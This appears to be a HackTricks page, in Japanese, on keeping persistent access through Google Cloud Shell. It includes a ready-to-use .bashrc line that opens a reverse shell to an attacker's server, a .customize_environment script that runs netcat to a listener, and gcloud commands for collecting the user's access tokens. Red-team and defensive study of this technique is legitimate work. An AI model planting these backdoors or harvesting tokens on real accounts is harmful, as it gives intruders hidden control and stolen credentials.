GCP - Cloud Shell Persistence

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

  • githubリポジトリ。

Cloud Shell

詳細については、以下をチェックしてください:

pageGCP - Cloud Shell Enum

永続的なバックドア

Google Cloud Shellは、ブラウザから直接クラウドリソースに対するコマンドラインアクセスを提供し、関連するコストはかかりません。

Google Cloud Shellには、Webコンソールからアクセスするか、**gcloud cloud-shell ssh**を実行してアクセスできます。

このコンソールには、攻撃者にとって興味深い機能がいくつかあります:

  1. Google Cloudにアクセス権を持つ任意のGoogleユーザーは、完全に認証されたCloud Shellインスタンスにアクセスできます(サービスアカウントは、組織の所有者であっても可能です)。

  2. そのインスタンスは、活動がない場合でも少なくとも120日間はホームディレクトリを維持します。

  3. そのインスタンスの活動を監視するための組織の機能はありません

これは基本的に、攻撃者がユーザーのホームディレクトリにバックドアを設置し、ユーザーが少なくとも120日ごとにGC Shellに接続する限り、バックドアが生き残り、攻撃者は次回実行されるたびにシェルを取得できることを意味します。ただし、次のように実行するだけです:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

ホームフォルダには**.customize_environmentという別のファイルがあり、存在する場合はユーザーがクラウドシェルにアクセスするたびに実行されます**(前のテクニックと同様)。ユーザーがクラウドシェルを「頻繁に」使用する限り、前のバックドアまたは次のようなバックドアを挿入して持続性を維持します。

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

認証が必要なアクションが初めて実行されるとき、ユーザのブラウザにポップアップ認証ウィンドウが表示されます。このウィンドウはコマンドを実行する前に承認する必要があります。予期しないポップアップが表示されると、疑念を抱かれ、使用されている持続性手法が潜在的に危険にさらされる可能性があります。

これは、クラウドシェル(攻撃者として)からgcloud projects listを実行した際の、ブラウザのユーザセッションで表示されるポップアップです:

ただし、ユーザがアクティブにクラウドシェルを使用している場合、ポップアップは表示されず、ユーザのトークンを収集できます。

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH接続の確立方法

基本的に、以下の3つのAPIコールが使用されます:

しかし、https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key で詳細情報を見つけることができます。

参考文献

最終更新